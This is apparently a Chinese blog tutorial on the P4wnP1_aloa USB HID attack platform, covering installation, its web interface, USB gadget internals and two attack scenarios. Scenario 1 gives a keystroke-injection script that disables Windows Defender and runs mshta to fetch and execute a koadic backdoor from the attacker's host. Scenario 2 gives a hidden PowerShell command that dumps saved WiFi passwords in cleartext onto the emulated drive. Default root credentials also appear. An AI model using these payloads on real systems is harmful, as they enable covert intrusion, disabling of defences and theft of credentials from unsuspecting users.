如何用P4wnP1_aloa进行HID攻击

前言

P4wnP1基于树莓派zero (w),是一个快捷高效的HID攻击平台,可以进行Windows密码破解、HID隐藏信道后门、模块化USB设备模拟等,于2017年2月第一次发布,现在主要开发者已停止对其开发,全力开发它的升级版——P4wnP1_aloa。P4wnP1_aloa也是基于树莓派zero w,与P4wnP1善于高效攻击相比,P4wnP1_aloa更注重HID测试,提供web客户端,调整、配置更加方便。P4wnP1一次可以模拟8个HID设备,包括键盘、鼠标等。同时,P4wnP1_aloa使用的HIDscript基于JavaScript,无论是自定义脚本还是对RubberDucky的脚本进行改写都很方便。P4wnP1_aloa还可以通过自定义输入速度,随机时间间隔,更好的模拟人工操作,欺骗防护机制。
截止至本篇发表日期,P4wnP1_aloa的最新发布版本为2018年12月发布的v0.1.0-alpha2,相关信息见releases。由于软件尚处于开发初期,国内外资料较少,本篇基于笔者的实践对P4wnP1_aloa进行介绍,想要更深入的了解P4wnP1_aloa可以阅读官方README链接,笔者也是主要根据README对其操作进行的学习。


安装

首先到P4wnP1_aloa的releases页面下载镜像文件。P4wnP1的系统基于Raspbian,而P4wnP1_aloa则基于kali,内置了很多安全工具(kali的官方下载页也有P4wnP1镜像,但要注意是原版P4wnP1,而非本篇介绍的P4wnP1_aloa)。

解压压缩文件,用Etcher或win32DiskImager(笔者使用的是Etcher)将得到的img镜像文件写入micro SD卡(8G够用)。

将micro SD卡插入树莓派zero w,电源连接标有PWR(远离CPU的那个)的usb接口,指示灯闪烁表明上电成功。
image

电脑或手机查看WIFI热点,若出现名字中含有P4wnP1的热点则启动完成。连接热点,密码MaMe82-P4wnP1。
由于P4wnP1_aloa只是起了一个WiFi热点,没有真正接入互联网,因此会提示无网络。电脑连接建议使用两个网卡,一个用来连接P4wnP1_aloa,另一个访问Internet。
image

连接完成后可以通过浏览器访问 http://172.24.0.1:8000 进入P4wnP1_aloa的web控制界面(注意关闭代理,否则无法访问)。也可以通过172.24.0.1的22端口进行ssh连接,默认用户名root,密码toor。
image

image

P4wnP1_aloa的安装至此结束。


使用

web端

P4wnP1_aloa的web端实现了大部分功能(比ssh端能做的还要多!)下面依次介绍各模块(作者称之为模板template)。

HIDScript

image

基于JavaScript,可以在提供的编辑器中进行修改、保存、加载已保存的脚本。内置一些控制函数。

1
2
3
4
5
6
7
8
9
10
11
layout('us'); //键盘布局,国内一般us
typingSpeed(标准间隔,随机值); //ms为单位,每个操作间的时间间隔
delay(时间值); //ms为单位,等待一定时间
type('xxxxx\n'); //输入字符串,注意是敲击按键,大小写无保证
press('GUI X'); //按下按键再自动松开
moveStepped(x,y); //鼠标相对运动
moveTo(x,y); //鼠标移动到绝对位置
function fun() {
//定义函数
}
waitLEDRepeat(NUM); //等待连按num lock键,可以识别CAPS等按键,实现逻辑控制

有了HIDscript,可以很方便的把RubberDucky的脚本迁移到P4wnP1_aloa平台上。但尚且无法完成BashBunny的很多功能,下文将进一步介绍如何通过master template实现BashBunny的大部分功能。

Trigger Action

image

触发机制,通过一项事件触发一项或多项操作。

触发条件包括:服务启动、USB连接、USB断开、WIFI热点启动、连接已有热点、GPOI输入等。其中GPOI输入是利用了树莓派的特点定制的。

执行事件包括:打印log、(kali系统)运行bash脚本、运行HIDScript、加载并部署模板、GPIO输出等。

配置全部以下拉选项提供给用户,避免了错误输入带来的效率降低,也更加直观易读。

One shot设定,开启后触发机制只触发一次,随后不再触发。

USB Settings

image

进行USB设置,包括销售商ID、制作者ID、产品ID、序列号等。

还可对模拟的项目进行选择,包括CDC ECM(针对UNIX Linux OSX的USB网络)、RNDIS(针对Windows的USB网络)、键盘、鼠标、一般USB设备、序列化接口、存储设备(模拟大小、名称等需要通过ssh端进行设定)。

WIFI Settings

image

设定WIFI名称、信道、加密、地区、工作模式(AP或客户端)、是否隐藏SSID(在长期攻击中比较有用,能发现隐藏热点的目标一般也很容易发现正受到HID攻击)

Bluetooth Settings

image

蓝牙设置,目前没怎么用到,对连接设备限制比较大,且效率没有WIFI高

Network Settings

image

网络设置,可以设定网卡、工作模式、DHCP服务等

Event Log

事件日志,在测试配置时可以检查trigger条件是否被触发,注意刷新页面时会重置

Generic Settings

image

以上各种设定可以保存到文件,并在后面的使用中直接套用,因此作者称之为template(模板),Generic Settings则可以对这些模板进行管理,直接部署。此外,在这项设置中还可以将不同模板的组合方式单独保存,形成作者所说的master template(主模板),进行一键部署,实现类似BashBunny的功能(BashBunny是将系统层的配置和HID攻击命令写在同一个脚本中,P4wnP1_aloa则通过模块组合实现)。

每次开机时加载的模板就是master template,也可以在Generic Settings中进行设置。

一定要检查WIFI模板的配置,防止无法连接。

备份与恢复功能,通过数据库进行备份、恢复。

ssh端

存储位置

HIDScript:/root/P4wnP1/dist/HIDScripts

CD-ROM的模拟文件:/root/P4wnP1/dist/ums/cdrom

USB存储设备的模拟文件:/root/P4wnP1/dist/ums/flashdrive

生成USB存储设备:/root/P4wnP1/dist/helper/genimg

备份数据库:/root/P4wnP1/dist/db

bash脚本(Trigger里可选操作):/root/P4wnP1/dist/scripts

P4wnP1_cli

P4wnP1_cli led -b 数字设定指示灯闪烁频率

其他指令直接P4wnP1_cli -h查看帮助。因为操作基本可以通过web端进行,ssh端有些设置只能一次性修改,不能保存,这里不详述。


原理

P4wnP1_aloa利用Linux内核的一项功能模拟成为USB Gadget,进行操作。以下是利用P4wnP1_aloa已有配置进行的USB键盘模拟实验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
查看实现USB模拟的文件结构
root@kali:~# cd /sys/kernel/config/usb_gadget

root@kali:/sys/kernel/config/usb_gadget# ls
mame82_gadget

root@kali:/sys/kernel/config/usb_gadget# cd mame82_gadget/

root@kali:/sys/kernel/config/usb_gadget/mame82_gadget# ls -l #
total 0
-rw-r--r-- 1 root root 4096 Dec 14 14:40 UDC
-rw-r--r-- 1 root root 4096 Dec 14 14:40 bDeviceClass
-rw-r--r-- 1 root root 4096 Dec 14 14:40 bDeviceProtocol
-rw-r--r-- 1 root root 4096 Dec 14 14:40 bDeviceSubClass
-rw-r--r-- 1 root root 4096 Dec 14 16:26 bMaxPacketSize0
-rw-r--r-- 1 root root 4096 Dec 14 14:40 bcdDevice
-rw-r--r-- 1 root root 4096 Dec 14 14:40 bcdUSB
drwxr-xr-x 3 root root 0 Dec 14 14:40 configs
drwxr-xr-x 6 root root 0 Dec 14 14:40 functions
-rw-r--r-- 1 root root 4096 Dec 14 14:40 idProduct
-rw-r--r-- 1 root root 4096 Dec 14 14:40 idVendor
drwxr-xr-x 2 root root 0 Dec 14 14:40 os_desc
drwxr-xr-x 3 root root 0 Dec 14 14:40 strings

root@kali:/sys/kernel/config/usb_gadget/mame82_gadget#cd configs/

root@kali:/sys/kernel/config/usb_gadget/mame82_gadget/configs# ls
c.1

root@kali:/sys/kernel/config/usb_gadget/mame82_gadget/configs# cd c.1

root@kali:/sys/kernel/config/usb_gadget/mame82_gadget/configs/c.1# ls -l
total 0
-rw-r--r-- 1 root root 4096 Dec 14 14:40 MaxPower
-rw-r--r-- 1 root root 4096 Dec 14 14:40 bmAttributes
lrwxrwxrwx 1 root root 0 Dec 14 14:40 ecm.usb1 -> ../../../../usb_gadget/mame82_gadget/functions/ecm.usb1
lrwxrwxrwx 1 root root 0 Dec 14 14:40 hid.keyboard -> ../../../../usb_gadget/mame82_gadget/functions/hid.keyboard
lrwxrwxrwx 1 root root 0 Dec 14 14:40 hid.mouse -> ../../../../usb_gadget/mame82_gadget/functions/hid.mouse
lrwxrwxrwx 1 root root 0 Dec 14 14:40 rndis.usb0 -> ../../../../usb_gadget/mame82_gadget/functions/rndis.usb0
drwxr-xr-x 3 root root 0 Dec 14 14:40 strings

以上是P4wnP1_aloa实现USB设备模拟的文件配置,Web端USB Settings里进行的设置都会对这里的文件进行修改。可以看到键盘模拟是开启的,接下来看如何模拟键盘输入。

1
2
3
4
5
6
root@kali:/sys/kernel/config/usb_gadget/mame82_gadget# cd /dev

root@kali:/dev# file /dev/hidg0
/dev/hidg0: character special (243/0)

root@kali:/dev#

将树莓派上标有USB的USB接口连接到电脑,将光标置于一个可输入文本的地方(比如记事本,如果连接的是用来ssh连接的电脑可以忽略)。

1
2
3
root@kali:/dev# echo -ne "\x00\x00\x00\x17\x00\x00\x00\x00" > /dev/hidg0
# echo -n 不自动换行
# echo -e 开启转义

如果不停的输出一大堆t则测试成功(断开USB连接后停止),但是只键入了一个keycode,为什么会不停输出呢?这是因为只输入了按下按键的信号,却没有弹起按键的信号,这就相当于按住键盘的T键不放,直到拔下键盘。

已知弹起键盘的KeyCode为”\x00\x00\x00\x00\x00\x00\x00\x00”,则可以通过写一个shell脚本进行测试

1
2
3
4
5
6
7
8
#!/bin/bash
sleep 3
for keycode in {10..25}
do
echo -ne "\x00\x00\x00\x${keycode}\x00\x00\x00\x00" > /dev/hidg0
echo -ne "\x00\x00\x00\x00\x00\x00\x00\x00" > /dev/hidg0
sleep 0.2
done

上面的脚本实现的效果:等待3秒后依次按下mnopqrstuv345678,按键间隔0.2秒。

1
2
3
root@kali:~# chmod +x test.sh
root@kali:~# ./test.sh
mnopqrstuv345678root@kali:~# mnopqrstuv345678


实战

场景1

同一局域网内(外网也行)控制目标电脑。

设备:目标机器(IP:192.168.1.108,本机)、攻击机器(IP:192.168.1.109,桥接模式联网的虚拟机)、P4wnP1_aloa(本机登陆web端进行控制)
image

先在攻击机器上配置koadic
image

在P4wnP1_aloa中写好脚本
image

1
2
3
4
5
6
7
8
9
10
11
12
layout('us');
typingSpeed(0,0);
waitLEDRepeat(NUM);
press("GUI R");
delay(500);
type("powershell start powershell -A 'Set-MpPreference -DisableRea $true' -V runAs\n");
delay(2000);
press("ALT Y");
delay(5000);
press("GUI R");
delay(500);
type("mshta http://192.168.1.109:9999/lyrCZ\n");

这段脚本会先关闭Win10的Defender,再获取后门程序并执行。连续快按num lock键触发操作。

攻击机器得到回显
image

由于是笔者日常使用的电脑,不做太多攻击测试
image

image

场景2

获取电脑保存的WiFi密码

开启Mass Storage模拟,选择默认的test.bin镜像,不要忘了点击左上角deploy进行部署。
image

使用HIDScript,这段脚本是对BashBunny的payload WiPassDump进行改写得到的
image

1
2
3
4
5
6
layout('us');
typingSpeed(0,0);
waitLEDRepeat(NUM);
press("GUI R");
delay(500);
type("powershell -WindowStyle Hidden $bunny=(gwmi win32_volume -f 'label=\\\"README\\\"').NAME; cd $bunny; netsh wlan export profile key=clear\n");

USB连接目标电脑,电脑将P4wnP1_aloa识别为U盘,连续快按num lock键触发操作。
可以看到U盘里保存了电脑存储的WiFi密码。
image
image

总结

P4wnP1_aloa相比于P4wnP1,在可玩性上有很大提升,可以实现更多更复杂的攻击,当然,对一些简单高效的攻击来说使用原版P4wnP1可以减少操作步骤。P4wnP1_aloa由树莓派zero w搭载,成本比99美刀的BashBunny低很多(跟teensy等badusb比就没意思了,毕竟功能摆在这)。中文输入法对HID攻击干扰较大,尚且没找到好的解决方案。

参考链接:
http://shumeipai.nxez.com/2018/06/26/using-raspberry-pi-zero-to-implement-new-bad-usb-with-echo.html

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 前言
  2. 2. 安装
  3. 3. 使用
    1. 3.1. web端
      1. 3.1.0.1. HIDScript
      2. 3.1.0.2. Trigger Action
      3. 3.1.0.3. USB Settings
      4. 3.1.0.4. WIFI Settings
      5. 3.1.0.5. Bluetooth Settings
      6. 3.1.0.6. Network Settings
      7. 3.1.0.7. Event Log
      8. 3.1.0.8. Generic Settings
  4. 3.2. ssh端
    1. 3.2.0.1. 存储位置
    2. 3.2.0.2. P4wnP1_cli
  • 4. 原理
  • 5. 实战
    1. 5.1. 场景1
    2. 5.2. 场景2
  • 6. 总结
  • ,